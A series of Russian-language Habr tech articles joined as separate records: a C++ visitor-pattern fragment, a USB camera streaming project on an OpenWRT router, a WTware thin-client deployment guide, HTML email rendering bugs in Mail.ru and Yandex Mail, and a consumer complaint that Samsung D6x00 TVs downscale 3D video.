Для восприятия (отрисовки) такой модели нужно использовать механизм visitor'а. Это особый функтор, который определяет операторы скобочки для каждого элемента из варианта. В нашем случае — для каждого состояния.
> `**class** **painter** : **public** boost::static_visitor<>
>
> {
>
> **public**:
>
> void **operator**()(**const** screen_one& val_screen)
>
> {
>
> *// рисуем первый экран, получая необходимые данные из его модели* val_screen.get_elements();
>
> ...
>
> }
>
> void **operator**()(**const** screen_two& val_screen)
>
> {
>
> *// рисуем второй экран, получая необходимые данные из его модели* val_screen.get_elements();
>
> ...
>
> }
>
> };
>
>
>
> model.apply_visitor(painter());`
Класс-состояние хранит в себе данные, необходимые на время нахождения экрана в «выбранном состоянии» и обеспечивает всю специфическую функциональность. Вы никак не обратитесь к функциональности второго экрана, если текущим выбран первый.
Вообще, концепция визиторов очень напоминает по духу операцию «измерений» в физике. Есть некая система, мы применяем к ней инструмент-измеритель. Получаем результат, и/или изменяем состояние системы.
Кроме того, очень удобно использовать визиторы для языковых компиляторов. Разбором получаем AST (дерево элементов), затем применяем к нему разнообразные инструменты для анализа, оптимизации, и результирующей выдачи. | https://habr.com/ru/post/101114/ | null | ru | null |
# Захват видео с USB камер на устройствах под управлением Linux
#### Предыстория
Некоторое время назад я загорелся желанием “улучшить” танк из известного набора “Танковый бой”, добавив возможность играть, как «если бы я был водителем танка». Идея появилась после прочтения нескольких статей на Хабре (например здесь: [geektimes.ru/post/257528](http://geektimes.ru/post/257528/)), в них же я нашел, как это можно сделать имея маленький WiFi-роутер и USB-камеру. Решение выглядело подкупающе простым: роутер прошивается специальной прошивкой, к нему подключается камера, танк управляется родным пультом, а видео смотрится в браузере. Быстро собрав прототип, я обнаружил, что видео захватывается в отвратительном качестве. Это было либо 320х240х30, либо 640х480х30. При включении режима 1280х720 в лучшем случае было рваное видео с артефактами, в худшем — его не было вообще. Режим 1920х1080 не работал в принципе. Меня это сильно расстроило, так как на PC камера поддерживала режимы вплоть до 1920х1080х30 и имела аппаратное MJPG сжатие. Моя интуиция подсказывала, что реализация далека от совершенства.
#### Цели
1. Видео в разрешении FullHD (1920Х1080) или HD (1280х720) и нормальная частота кадров (чтобы можно было играть).
2. Игрушку я планировал отдать детям, поэтому нужен был автостарт и поддержка подключения/отключения камеры.
В общем хотелось что-то вроде этого:
#### Ограничения
Я не собирался искать решение, которое работает всегда и везде. Следующие ограничения меня вполне устраивали:
1. Хороший WiFi сигнал.
2. Ограниченное число подключений, приоритет отдавался случаю, когда есть всего один клиент.
3. Камера поддерживает режим MJPG.
#### HW и SW
1. Видеокамера Logitech B910 HD (<http://www.logitech.com/ru-ru/product/b910-hd-webcam>).
2. Роутер TP-LINK TL-MR3020. Этот малыш имеет следующее железо: CPU MIPS 24K 400MHz, RAM 32 MiB, Flash 4 MiB, Ethernet 100 Mbit, USB 2.0 (<http://wiki.openwrt.org/ru/toh/tp-link/tl-mr3020>).
3. Прошивка для роутера. Я начал с OR-WRT (<http://roboforum.ru/wiki/OR-WRT>), но закончил с OpenWRT (<http://openwrt.org/>, версии 12.07 и 15.05).
4. Браузер. Конечно это не лучший вариант, но очень удобно для начала.
5. Набор “Танковый бой”.
#### Предварительный анализ
В общем-то, это действительно слабая конфигурация, особенно если вспомнить, что кадр в формате YUV420 размером 1920Х1080 занимает 4 MiB (2 байта на пиксель). Меня обнадеживало то, что камера поддерживает аппаратное MJPG сжатие. Эксперименты показали, что сжатый FullHD кадр обычно < 500 KiB. Поэтому я решил продолжить исследования. Выяснилось, что для для захвата видео и стримминга его через HTTP используется mjpg-streamer (http://sourceforge.net/projects/mjpg-streamer/). Анализ его кода показал, что он использует 1 поток для захвата видео + отдельный поток для каждого клиента. Это не лучшее решение для одно-ядерной системы, так как необходима синхронизация потоков и память для стека на каждый поток. Также он копировал захваченные кадры. В общем, mjpg-streamer стал подозреваемым №1.
#### Интересная находка
Изучая mjpg-streamer я выяснил, что захват видео на Linux делается с помощью библиотеки v4l2 и для захвата используется очередь буферов. Отлаживая инициализацию этих буферов в mjpg-streamer, я обнаружил, что даже для режима MJPG их размер очень большой и неожиданно совпадает с размером несжатого кадра. Так я стал подозревать, что придется залезть в код драйвера UVC, который отвечает за поддержку камер.
#### Анализ кода драйвера и первый успех
Изучая код я пришел к выводу, что размер буфера спрашивается у камеры и моя камера возвращала размер несжатого кадра. Наверное это самое безопасное решение с точки зрения разработчиков камеры. Но оно же самое не оптимальное. Я решил, что для своего случая можно скорректировать необходимый размер буфера, используя экспериментальный коэффициент минимального сжатия. Я выбрал k=5. С таким значением у меня был запас порядка 20%.
**Небольшое отступление.**Строго говоря есть камеры, которые позволяют задать уровень сжатия JPG. Наверное это более правильный способ для определения минимального коэффициента сжатия. Но моя камера не поддерживала эту опцию, и я был вынужден опираться на экспериментальные значения.
Код UVC драйвера оказался готов к добавлению различного рода “специальных” решений, и я легко нашел место, где надо скорректировать размер буфера (функция uvc\_fixup\_video\_ctrl()). Более того, драйвер поддерживает набор quirks, которые позволяют поддерживать камеры с разного рода отклонениями от стандарта UVC. В общем, разработчики драйвера сделали лучшее, что возможно для поддержки зоопарка камер.
Добавив коррекцию размера буфера, я получил стабильную работу в режиме 1280х720 и даже в режиме 1920х1080. Ура! Половина задачи решена!
#### В поисках новых приключений
Немного порадовавшись первой удаче, я вспомнил, что mjpg-streamer далек от совершенства. Наверняка можно сделать что-то простое, не такое универсальное как mjpg-streamer, но более подходящее для моих условий. Так я решил сделать uvc2http.
В mjpg-streamer мне не понравилось использование нескольких потоков и копирование буферов. Это определило архитектуру решения: 1 поток и никакого копирования. Используя non-blocking IO, это делается достаточно просто: захватываем кадр и без копирования отсылаем его клиенту. Есть небольшая проблема: пока мы отсылаем данные из буфера, мы не можем вернуть буфер обратно в очередь. А пока буфер не в очереди, драйвер не может положить в него новый кадр. Но если размер очереди > 1, то это становится возможным. Число буферов определяет максимальное количество подключений, которое можно гарантированно обслуживать. Т.е., если я хочу гарантированно поддерживать 1 клиента, то 3-х буферов достаточно (в один буфер пишет драйвер, из второго отсылаем данные, третий в запасе, чтобы избежать конкуренции с драйвером за буфер при попытке получить новый кадр).
#### Uvc2http
Uvc2http состоит из двух компонентов: UvcGrabber и HttpStreamer. Первый отвечает за получение буферов (кадров) из очереди и возврат их обратно в очередь. Второй отвечает за обслуживание клиентов по HTTP. Есть еще немного кода, который связывает эти компоненты. Подробности можно посмотреть в исходниках.
#### Неожиданная проблема
Все было замечательно: приложение работало и в разрешении 1280х720 выдавало 20+ кадров/сек. Я делал косметические изменения в коде. После очередной порции изменений я замерил частоту кадров. Результат был удручающий — меньше 15 кадров. Я бросился искать, что же привело к деградации. Я потратил, наверное, 2 часа в течение которых частота уменьшалась с каждым замером до значения 7 кадров/сек. В голову лезли разные мысли о деградации из-за долгой работы роутера, из-за его перегрева. Это было что-то непонятное. В какой-то момент я отключил стримминг и увидел, что просто один захват (без стримминга) давал те же 7 кадров. Я даже начал подозревать проблемы с камерой. В общем какая-то чушь. Дело было вечером и камера, повернутая в окно, показывала что-то серое. Дабы сменить мрачное изображение я повернул камеру внутрь комнаты. И, о чудо! Частота кадров увеличилась до 15 и я все понял. Камера автоматически подстраивала время экспозиции и в какой-то момент это время стало больше длительности кадра при заданной частоте. За эти два часа случилось следующее: сначала плавно темнело (это был вечер), а потом я повернул камеру внутрь освещенной комнаты. Направив камеру на люстру я получил 20+ кадров/сек. Ура.
#### Другие проблемы и нюансы использования
1. Автофокус может раздражать. Я задал фиксированный фокус и значение подобрал чтобы было хорошо видно в диапазоне 1-1.5 метра.
2. Разные камеры поддерживают разные опции. Чтобы понять, что поддерживает ваша камера, можно воспользоваться утилитой qv4l2, подобрать нужные вам параметры и затем добавить настройку в утилиту. Но бывают сюрпризы: одни и те же настройки могут работать по-разному на разных платформах. В моем случае я столкнулся с разным поведением при одном и том же значении времени экспозиции.
3. Питание. Камера питается через USB порт роутера и если напряжение не стабильное, (как например при питании от аккумуляторов) то камера может отключаться (особенно если включен автофокус). Мне помог простой USB хаб (без внешнего питания).
4. На роутере очень мало памяти и дискового пространства. По этой причине я отказался от OR-WRT и собрал свой образ OpenWRT, убрав из него все лишнее.
#### Результаты
Ниже табличка с результатами сравнения mjpg-streamer и uvc2http. Если коротко — есть значительный выигрыш в потреблении памяти и небольшой выигрыш в частоте кадров и загрузке CPU.
| | | |
| --- | --- | --- |
| | 1280x720 | 1920x1080 |
| | VSZ, KB, 1 client | VSZ, KB, 2 clients | CPU, %, 1 client | CPU, %, 2 clients | FPS, f/s, 1 client | FPS, f/s, 2 clients | VSZ, KB, 1 client | VSZ, KB, 2 clients | CPU, %, 1 client | CPU, %, 2 clients | FPS, f/s, 1 client | FPS, f/s, 2 clients |
| Mjpg-streamer | 16860 | 19040 | 26 | 43 | 17.6 | 15 | 25456 | 25812 | 28 | 50 | 13.8 | 10 |
| uvc2http | 3960 | 3960 | 26 | 43 | 22 | 19.6 | 7576 | 7576 | 28 | 43 | 15.5 | 12.2 |
Ну и конечно же видео, которое я сделал вместе с детьми:
Фото получившегося танка (получилось что-то вроде цыганской телеги):
#### Использование
Исходники находятся [здесь](https://github.com/Legich55555/uvc2http). Для использования на PC Linux надо всего лишь собрать (при условии что вы не хотите патчить драйвер UVC). Утилита собирается с помощью CMake стандартным способом. Если же надо использовать в OpenWRT, то надо сделать дополнительные шаги:
1. Скопировать содержимое директории OpenWrt-15.05 в корень репозитория OpenWRT. Эти файлы только для OpenWRT 15.05. Они описывают новый пакет для OpenWRT и патч для драйвера UVC.
2. Если ваша камера также возвращает завышенный размер необходимого буфера, то надо добавить использование quirk UVC\_QUIRK\_COMPRESSION\_RATE для вашей камеры в файле uvc\_driver.c. Для этого надо сделать собственный патч для драйвера UVC. Как это сделать, описано здесь [wiki.openwrt.org/doc/devel/patches](http://wiki.openwrt.org/doc/devel/patches). Вам необходимо добавить описание вашей камеры в массив uvc\_ids. В качестве примера можно посмотреть на описание моей камеры:
```
/* Logitech B910 HD Webcam */
{ .match_flags = USB_DEVICE_ID_MATCH_DEVICE
| USB_DEVICE_ID_MATCH_INT_INFO,
.idVendor = 0x046d,
.idProduct = 0x0823,
.bInterfaceClass = USB_CLASS_VIDEO,
.bInterfaceSubClass = 1,
.bInterfaceProtocol = 0,
.driver_info = UVC_QUIRK_RESTORE_CTRLS_ON_INIT
| UVC_QUIRK_COMPRESSION_RATE }, // Enable buffer correction for compressed modes
```
3. Настроить сборку OpenWRT стандартный методом (<http://wiki.openwrt.org/doc/howto/build>). При настройке необходимо выбрать пакет uvc2http в меню Multimedia.
4. Собрать пакет uvc2http или полный образ (обязательно если вам необходим патч драйвера) для вашей целевой платформы. Если установить утилиту как пакет, то она будет запускаться при старте.
5. Установить пакет на устройство/обновить систему
#### Что дальше
Решение состоит из двух частей: патч драйвера и другой алгоритм стримминга. Патч драйвера можно было бы включить в новую версию ядра линукса, но это спорное решение, так как оно основано на предположении о минимальном коэффициенте сжатия. Утилита же, на мой взгляд, хорошо подходит для использования на слабых системах (игрушках, домашних системах видеонаблюдения), и ее можно немного улучшить, добавив возможность задавать настройки камеры через параметры.
Алгоритм стримминга можно улучшить так как есть запас по загрузке CPU и по ширине канала (я легко получал с роутера 50+ MBit подключая десяток клиентов). Также можно добавить поддержку звука. | https://habr.com/ru/post/386273/ | null | ru | null |
# Внедрение WTware
С приходом удаленки в нашу жизнь привычные офисные пространства претерпели серьезные изменения. Многие компании внедряют так называемые «гибкие офисы», ведь индивидуальные рабочие места для каждого сотрудника становятся уже не так актуальны. Как организовать комфортное шеринговое место, рассказываем на своем опыте.
В погоне за оптимизацией пространства и экономией ресурсов главное не забыть об удобстве и производительности. Задача команды системного администрирования —создать универсальное рабочее место, за которым может работать любой пришедший в офис сотрудник для подключения к удалённому рабочему столу.
**Требования к функционалу универсального рабочего места:**
1. Возможность использовать разные модели компьютеров.
2. Возможность подключить два монитора.
3. Возможность резервировать два дата-центра.
4. Интеграция с MS Teams, web-камерой и USB-гарнитурой.
5. Минимальное время для обслуживания системы.
В короткий срок мы собирались развернуть систему тонких рабочих станций для удобства администрирования, используя оборудование, которое было на складе.
А это в основном устаревшие системные блоки. Для решения поставленной задачи выбрали продукт WTware.
Изучив [документацию](http://wtware.ru/docs5/config.html,), мы приступили к настройке. Начали с составления сетевой схемы взаимодействия необходимых в работе компонентов, так как требуется открытие доступов между компонентами.
Сетевая схема подключения выглядит так:
Далее выполнили ряд настроек:
#### 1. Настройка сети.
Создали несколько VLAN для установки клиентских терминалов WTware — с их помощью терминальные станции WTware разделяются по разным группам. Эта потребность возникла из-за использования разных моделей компьютеров и иногда — нескольких мониторов.
Это помогло снизить нагрузку на администраторов WTware и на отдел технической поддержки. Для специалистов технической поддержки мы подготовили памятку с перечислением списка VLAN с сопоставлением модели компьютера и количества мониторов.
Для установки нового терминала нужно запросить настройку сетевого порта, переключить режим UEFI на Legacy Bios и установить загрузку по сети.
#### 2. Настройка DHCP для загрузки по HTTP.
В 066 параметре DHCP как обычно указываем IP-адрес TFTP-сервера.
В 067 параметре DHCP указываем 5.4.24/wtware.http вместо обычного 5.4.24/wtware.pxe. Версию 5.4.24 надо заменить на версию wtware, которая должна загружаться на терминал.
Для UEFI-машин в 067 параметре DHCP указываем 5.4.24/http.efi вместо обычного 5.4.24/bootx64.efi. Версию 5.4.24 надо заменить на версию wtware, которая должна загружаться на терминал.
#### 3. Загрузка по HTTP.
Настраиваем на сервере управления WTware.
**Пути на HTTP сервере**
Пути по умолчанию предполагают, что в корне HTTP-сервера лежит ссылка `wtware`, которая должна ссылаться на структуру файлов wtware: на "C:\Program Files (x86)\WTware\TFTPDROOT\" на Windows или на содержимое каталога wtware из .zip архива дистрибутива WTware. Например, следующие пути должны работать для загрузки WTware версии 5.4.24:
`http://IP-адрес-HTTP-сервера/wtware/Everyone/all.wtc`
`http://IP-адрес-HTTP-сервера/wtware/5.4.24/packages/alsa`
Чтобы сделать ссылку на директорию в Windows, из командной строки Windows с правами Администратора надо выполнить:
```
mklink /D "C:\где-там-корень-у-IIS\wtware" "C:\Program Files (x86)\WTware\TFTPDROOT"
```
Можно нагляднее: поставить FAR, нажать Alt-F6.
У wtware в каталоге packages много файлов без расширений. Microsoft IIS может отказаться отдавать файлы без расширений. Вы можете указать "." (точку) вместо расширения и создать MIME mapping.
Редактировать файл `wtware.http.cfg` *не нужно*, подойдет уже имеющийся в дистрибутиве файл, если выполняются следующие условия:
a. IP-адрес HTTP-сервера совпадает с IP-адресом TFTP-сервера.
b. `ttp://IP-адрес-HTTP-сервера/wtware/` указывает на корень TFTP, то есть `http://IP-адрес-HTTP-сервера/wtware/Everyone/all.wtc` и `http://IP-адрес-HTTP-сервера/wtware/5.4.24/packages/alsa.` Это правильные пути к соответствующим файлам из дистрибутива WTware.
#### 4. Отключение Del для входа в настройки терминала WTware работает в BIOS и Legasy mode BIOS.
В UEFI отключить кнопку Del не получится, необходимо перевести работу загрузчика в Legasy mode BIOS.
Чтобы отключить сообщение по настройке терминала при загрузке по сети, нужно отредактировать файл: C:\Program Files (x86)\WTware\TFTPDROOT\6.0.36\wtware.http.cfg
в строке:
boot ${wtware-url}/5.8.46/packages/kernel BOOT\_IMAGE=${wtware-url}/5.8.46/packages/kernel **no\_setup**quiet
добавить **no\_setup** - отключить Setup, убрать вход по кнопке del при запуске, **hide\_setup** скрыть меня Setup, однако если нажать del при загрузке терминала, можно пройти в настройки терминала.
#### 5. Для работы web-камеры надо настроить терминальный сервер или рабочую станцию, к которой будет подключаться терминал WTware. Кроме того, нужна стабильная работающая локальная сеть со скоростью не ниже 100 Mbps, иначе изображение будет зависать.
В политиках делаем следующую настройку: через консоль gpedit.msc: отключаем политику, расположенную по следующему пути:
Локальные политики компьютера -> Конфигурация компьютера -> Административные шаблоны -> Компоненты Windows -> Служба удаленных рабочих столов -> Узел сеансов удаленных рабочих столов -> Перенаправление устройств и ресурсов -> Не разрешать перенаправление поддерживаемых самонастраиваемых устройств -> Перевести в статус «Отключена».
#### 6.Создаем список подсетей. В дальнейшем они будут использоваться для разделения терминалов по типам и конфигурациям.
#### 7. Переходим к редактированию шаблона по умолчанию для терминалов WTware. Далее он будет использоваться при добавлении новых моделей или конфигураций терминалов.
Ниже опишу опции, которые мы добавили в шаблон по умолчанию.
a. Для удобства лучше выбрать разные цвета фона на экранах.
b. Указать шаблон, по которому будет выдаваться имя для терминалов WTware.
c. Ввести IP-адрес сервера WTware, куда будут отправляться логи с терминалов WTware.
d. Поставить галки, чтобы использовались дополнительные графические возможности (делаем это, так как терминалы расположены во внутренней сети).
e. Указать диапазон IP-адресов, с которого можно подключиться по HTTP
к терминалу WTware для просмотра оборудования, подключенного к терминалу.
f. Выбрать место отображения всплывающего меню для пользователя терминала WTware, в котором можно посмотреть информацию по терминалу WTware. Поставить галку «Добавить кнопку перезагрузки», чтобы пользователь мог самостоятельно перезагрузить терминал.
g. Указать IP-диапазон компьютеров, с которых можно отправить
в перезагрузку терминал WTware.
h. На больших мониторах рекомендуем включить параметр scale\_factor – 125.
i. Включить заставку с брендом компании на мониторе терминала WTware. Файл с заставкой готовится и загружается заранее.
j. Включить возможность удаленно подключаться к терминалу WTware по VNC, указать IP-диапазон, с которого можно подключаться, а также указать, что делать при подключении. Мы выбрали вариант, когда пользователь должен подтвердить подключение.
#### 8. Настроить монитор, при необходимости подключить второй монитор.
a. Указать видеодрайвер, разрешение экрана, порт видеовыхода,
к которому подключен монитор.
b. Чтобы подключить второй монитор, перейти на вкладку «Второй дисплей». Установить галку «Использовать второй дисплей», «Одна RDP-сессия на обоих экранах», указать разрешение экрана и порт видеовыхода, к которому подключен монитор.
c. Перейти на вкладку «Положение второго экрана». Указать, как необходимо расположить экраны.
#### 9. Переходим к созданию универсального шаблона для подключения к терминальному серверу или виртуальному рабочему столу. Будем его использовать при создании новых терминальных станций WTware.
a. Настройка USB-гарнитуры и WEB-камеры. Подключаемся по http на терминал WTware, переходим на вкладку «Шина USB».
b. Видим, что к терминалу WTware подключена USB-гарнитура Microsoft Corp. LifeChat LX-3000 Headset и WEB камера Logitech, Inc. Webcam C270.
c. Для настройки гарнитуры возвращаемся в главное меню и переходим на вкладку Test sound.
d.
e. Смотрим HW, присвоенное USB-гарнитуре, и запоминаем. HW потребуется для настройки универсального шаблона подключения. Обратите внимание, что при переключении гарнитуры в другой порт USB значение HW изменится.
f. Для настройки WEB-камеры подключаемся по http на терминал WTware, переходим на вкладку «Шина USB», выясняем USB ID камеры, которые будем использовать. В нашем примере ─ USB ID 046d:0825, запоминаем его. В дальнейшем он пригодится при настройке универсального конфигурационного файла. Обратите внимание, что USB ID разных моделей различаются.
g. Создаем новый шаблон. Ниже приведены основные элементы шаблона, которые были настроены.
h. Для подключения USB-микрофона переходим в меню «Microphone», ставим галку «Включено» и указываем HW, которые ранее смотрели в настройках терминала WTware, подключаясь к нему по http на вкладке «Test sound».
i. Подключаем USB-наушники, переходим в меню «Sound», ставим галки, как отмечено на рисунке, и указываем HW, которые ранее смотрели в настройках терминала WTware, подключаясь к нему по http на вкладке Test sound.
j. Подключаем USB-камеру, переходим в меню USB, ставим галку «Перенаправлять», выбираем USB ID и указываем USB ID, которое ранее смотрели в настройках терминала WTware, подключаясь к нему по http на вкладке Шина USB.
k. Настраиваем подключение и указываем протокол подключения, в нашем случае ─ RDP, так как пользователям требуется подключаться к разным рабочим станциям. В поле «Адрес» пишем: «new». Это позволит пользователю самостоятельно ввести имя компьютера, к которому необходимо подключиться.
#### 10. Если у вас два рабочих стола, для переключения между ними потребуется дописать конфигурационный файл, как на рисунке ниже.
#### 11. Ниже опишу, как мы настроили процесс отказоустойчивости серверов управления WTware.
a. После полной настройки первого сервера скопировали его на вторую площадку и настроили синхронизацию папок на серверах.
C:\ProgramData\WTware\Everyone
C:\ProgramData\WTware\Terminals
C:\ProgramData\WTware\Connections
b. Дальше для переключения на резервный сервер указали в настройках DHCP в 066 параметр IP-адрес резервного сервера.
На этом настройка завершена. Всего на это у нас ушло 3 недели.
**Что мы получили:**
В итоге мы получили систему, которая сразу решила несколько актуальных для компании вопросов:
* Нам удалось оптимизировать использование офисных площадей и технических ресурсов. Созданное рабочее место позволяет подключаться десятку сотрудников без ущерба производительности. Кроме того, это помогло уменьшить закупку новых машин.
* Отсутствие постоянного рабочего места дает возможность каждому сотруднику выбирать самостоятельно, где ему комфортно и удобно работать.
* Снизили время неработоспособности мест за счет унификации. В случае технических проблем сотрудник не ждет, пока его машина будет исправлена, а просто работает за любым свободным рабочим местом.
* Возможность снова использовать списанное оборудование. Морально устаревшие компьютеры, которые не отвечают нашим техническим требованиям, отлично подошли для организации рабочего места с терминалом WTware.
* Снизилась нагрузка на отдел автоматизации рабочих мест, так как уменьшилось количество организуемых новых рабочих мест и используемых периферийных устройств. | https://habr.com/ru/post/677876/ | null | ru | null |
# Верстка писем. Снова баги
 Автор изображения [Eva Galesloot](http://dribbble.com/skwirrol)
Привет!
Прежде всего хочу принести извинения в адрес mail.ru и лично Андрею Сумину [AndrewSumin](http://habrahabr.ru/users/andrewsumin/) за [пост](http://habrahabr.ru/post/171531/), написанный сгоряча. Проблема верстки писем изрядно наболела, но местами все не так плохо как казалось. Присутствуют и проблемы.
Касательно mail.ru на данный момент претензий почти не имею. Верстать письма под эту вебморду так же приятно, как и для гуглопочты. Очень приятно видеть, что русские вебморды стали поддерживать фоновые изображения.
**Знаете чего очень не хватает? Фичлиста от разработчиков почтовых клиентов и вебморд. Было бы очень здорово узнавать из первых рук, какие фичи ввели в обращение, а какие наоборот — урезали. Это облегчило бы головную боль верстальщика, да и пользователь перестал бы получать кривые письма.** Да, это очень важная информация.
Ниже приведу несколько новых багов, которые стоит учесть при подготовке писем, а разработчикам — закрыть их.
#### Mail.ru
Как я уже сказал, у этих ребят все здорово, кроме одного маленького НО. Если мы указываем в письме номер телефона(просто текстом), этот самый номер трансформируется в псевдоссылку, синего цвета, при нажатии на которую, мы совершим звонок через mail.ru веб-agent.
```
+7(952)123 45 67
```
Все бы ничего, только вот как стилизовать ее — большой вопрос. Хедерные стили — тут не помогают.
#### Яндекс почта
Тут куда больше расстройств. По порядку:
**1. Рамки таблиц**
```
| | |
| --- | --- |
| текст | текст |
```
Что мы ожидаем увидеть? Все просто. Левая ячейка таблицы должна получить пунктирную(dashed) нижнюю границу. Что мы получаем на самом деле? Левая ячейка получает solid границу, а правая — dashed. Почему? Не ясно.
**2. line-height** Приведу пример сверстанной кнопки:
```
| |
| --- |
| [ссылка](#) |
```
Все почтовики кроме я.почты отпарсят кнопку как и задумано. В случае же нашего героя, line-height будет ощутимо завышен. Все дело в том, что дефолтный line-height в я.почте изначально задан большим:
```
.b-message-body {
line-height: 1.4;
}
```
, чем это принято в браузерах(1.2em). Но и тут не все так просто.
```
| |
| --- |
| [ссылка](#) |
```
Не решает проблему. А вот так сработает:
```
| |
| --- |
| [ссылка](#) |
```
**3. cellspacing**
Тут все интереснее. Ранее этот атрибут в я.почте работал криво. Таблица просто разваливалась. Разработчики поступили очень интересно :) Они просто отключили его вот так:
```
.b-message-body__content TABLE {
border-collapse: collapse;
}
```
Это очень здорово, но решение плохое. Если нам не нужны отступы между ячейками мы можем просто указать cellspacing=«0» и все будет хорошо. Но не тут-то было. Ребята из майкрософта как всегда особенные. Именно для десктопного outlook необходимо коллапсировать таблицу во избежание однопиксельного зазора между ячейками таблицы. Поэтому у меня убедительная просьба к разработчиткам я.почты: «Пожалуйста, исправьте это недоразумение». Я буду рад, если этот пост заметит Роман Комаров [kizu](http://habrahabr.ru/users/kizu/), т.к. мне не удалось с ним связаться по этим вопросам.
#### Мелочи жизни
Тут просьба к вышеуказанным разработчикам: Не могли бы вы ввести поддержку хедерных стилей хотя бы для ссылок? С учетом псевдоклассов: :link, :hover, :visited. Дело в том, что ссылки в письме выглядят мертвыми. Было бы здорово менять цвет ссылки при наведении на нее, или убирать text-decoration;
И еще одна деталь. Как насчет css свойства max-width? В основном именно из-за его отсутствия чаще всего приходится писать media\_queries.
Спасибо, у меня все. | https://habr.com/ru/post/174971/ | null | ru | null |
# Тысячи телевизоров Samsung серии D6x00 содержат дефект — не могут отображать 3D в Full HD
#### 3D S.O.S.: 3D позор Samsung
[](http://wiki.samygo.tv/index.php5/File:Text2D.JPG "2D версия")Как видно из названия — это **очень большая ошибка** в модельном ряду LED-телевизоров Samsung D6xxx.
Мы проверили все возможные источники сигнала: Playstation 3, Samsung BDP D6500, USB SBS MKV, USB MPO-файл, — и каждый раз результат был тот же! **Телевизор не хочет показывать FULL HD 3D-изображения!**
[](https://habrastorage.org/getpro/geektimes/post_images/62b/301/64e/62b30164ed680cb0d5ad04ffe5f569a9.jpg)
Владельцы Samsung D6xxx могут сами проверить свой телевизор на наличие этого дефекта. Здесь мы разместили для вас несколько фотографий для тестов.
Скачайте 2D и 3D тестовые изображения Full HD (1080) и Half HD (720) px, и посмотрите сами…
*Ссылки под катом.*
В конце перевода я добавил свою переписку с Samsung по этой проблеме.
**Данная проблема выявлена и в России**
[myhdplayer.ru/samsung-snimaet-logotip-full-hd-3d.html](http://myhdplayer.ru/samsung-snimaet-logotip-full-hd-3d.html)
[market.yandex.ru/forums/?modelid=7155057&hid=90639&p\_n=5](http://market.yandex.ru/forums/?modelid=7155057&hid=90639&p_n=5)
Тестовые картинки
[www.worldserve.de/projects/samsung/HD-Testbilder.zip](http://www.worldserve.de/projects/samsung/HD-Testbilder.zip)
[sourceforge.net/projects/samygo/files/Others/TestimageL.mpo/download](http://sourceforge.net/projects/samygo/files/Others/TestimageL.mpo/download)
#### Проблема
[](https://habrastorage.org/getpro/geektimes/post_images/9bf/dbf/569/9bfdbf5690a6d7970f97f0551d3d6b2b.jpg "2D-3D отличия")
[](http://wiki.samygo.tv/images/thumb/9/91/Samsungtrash2.jpg/477px-Samsungtrash2.jpg "2D -3D пример")
Ребята из HDTVTEST.co.uk обнаружили в [независимых тестах](http://www.hdtvtest.co.uk/news/samsung-ue40d6530-ue32d6530-201108131337.htm), что есть очень маловероятная потеря разрешения в 3D-режиме.
Потому участники немецкого Hi-Fi-форума начали дискуссию. Сначала никто не хотел в это верить, и все думали, что, может быть, это только ошибка или они проверили бракованный телевизор. Однако, как оказалось, ЛЮБОЙ из проверенных D6x00 уменьшает разрешение очень сильно, независимо от размера матрицы, не важно 32 или 50 дюймов. Поэтому мы решили создать эту Wiki-страницу, чтобы вы могли проверить ваш телевизор на наличие данного дефекта.
То что мы должны были увидеть, оказалось шокирующей потерей качества при включении 3D.
Вы можете это видеть на фотографии сбоку на этой странице.
Если телевизор может показать эту картину в формате Full HD 3D, то не должно быть никакой разницы между 2D и 3D версиями изображений.
**Мы обнаружили, что серии D7x00 и D8x000 не имеют такого дефекта.**
Участникам SamyGO понятно, что телевизор включает опцию Low Quality Frame Buffer Resolution при включении 3D режима. При этом даже у такого содержимого, как меню, текст и графические иконки, снижается качество. Мы не знаем, почему Samsung требуется переключение на Low Quality Frame Buffer при включении 3D. У меня есть сомнения, что это бессознательная низкоуровневая ошибка в серии D6x00.
Некоторые пользователи сообщили, что **этот дефект не виден на 60-дюймовых телевизорах серии D6x00**, которые довольно дороги.
*Телевизор сжимает исходный кадр 1920х1080 (до 960х1080 или 1920х540 пикселей на глаз), затем увеличивает его, потому ПОЛОВИНА разрешения теряется.
Но на этом падение качества не заканчивается. В режиме «Вертикальная стереопара» («Top-and-bottom»), нижний кадр (1920х540) увеличен до размера 1920х1080 и вертикальные НЕЧЕТНЫЕ линии повторяются и накладываются поверх ЧЕТНЫХ. Это означает, что нижнее изображение (для правого глаза) имеет только 25% (или 960х540) от качества исходного левого (1920х1080).*
#### Мошенничество или ошибка?
Будет зависеть от того, как Samsung поступит. **Samsung продал эти устройства, обещая Full HD 3D**. Эта информация заявлена на всех [веб-страницах](http://www.samsung.com/ru/consumer/televisions/televisions/tv-led/UE37D6100SWXRU-features#con04), коробках телевизоров, а также на рекламных картинках в самом телевизоре! Если они не разрабатывали серию D6x00 с полной поддержкой Full HD 3D, и если низкое качество картинки вызвано отсутствием необходимого оборудования в наших устройствах — это означает, **что Samsung стремился обмануть клиентов!** Они обманывают людей, подавая неправильную информацию. Кроме того, ни одна компания не допускает такие большие «ошибки». Она знает, что она сделала.
Люди могли выбрать другую марку телевизора вместо этой гадости. Но они выбирают эту из-за Samsung Full HD 3D. Теперь все они обмануты. Samsung не может отделаться в этой ситуации простыми извинениями. Они должны быть осуждены за мошенничество. Они также должны отозвать телевизоры и вернуть полную стоимость, или предлагать бесплатное обновление до D7000.
Но если Samsung просит прощения, устраняет проблему в следующем обновлении прошивки, это хорошо. Эта ситуация напомнает другой обман Samsung в истории. Таким образом Samsung мог избежать обвинения в мошенничестве…
#### Доказательства не могут быть проигнорированы
Если у вас есть [кабель ExLink](http://wiki.samygo.tv/index.php5/Ex-Link_Cable_for_C/D_Series), то вы можете просматреть отладочные сообщения телевизора.[](https://habrastorage.org/getpro/geektimes/post_images/a9a/c37/33a/a9ac3733a5c908dec51b1e26a2bab4dd.jpg "Samsung UA40D6000, младшая в модельном ряду модель D6 LED, коробка имеет логотип FULL HD 3D в левом нижнем углу.")
Вам нужно зайти в меню обслуживания (Service Menu) и поменять тип соединения с RS232 на DEBUG.
Затем, во время загрузки, вы можете видеть толстую линию внизу, между многими другими сообщениями отладки/ошибок/уведомлений.
Сообщение говорит одно: телевизор не поддерживает Full HD 3D (Полученно с UA40D6000 T-GAS6DEUC 1014.1)
```
...
Samsung TV UA40D6000 boot-up log wrote:t_Set3DModeForGenoaAlone(): Game/MJC Mode is same
[ERROR][SetStereoscopicScreenMode():264] Not Supported StereoScopic Resolution(1920, 1080)!!!
SetStereoscopicScreenMode, 395, Not supported Screen
...
```
#### Что Вы можете сделать?
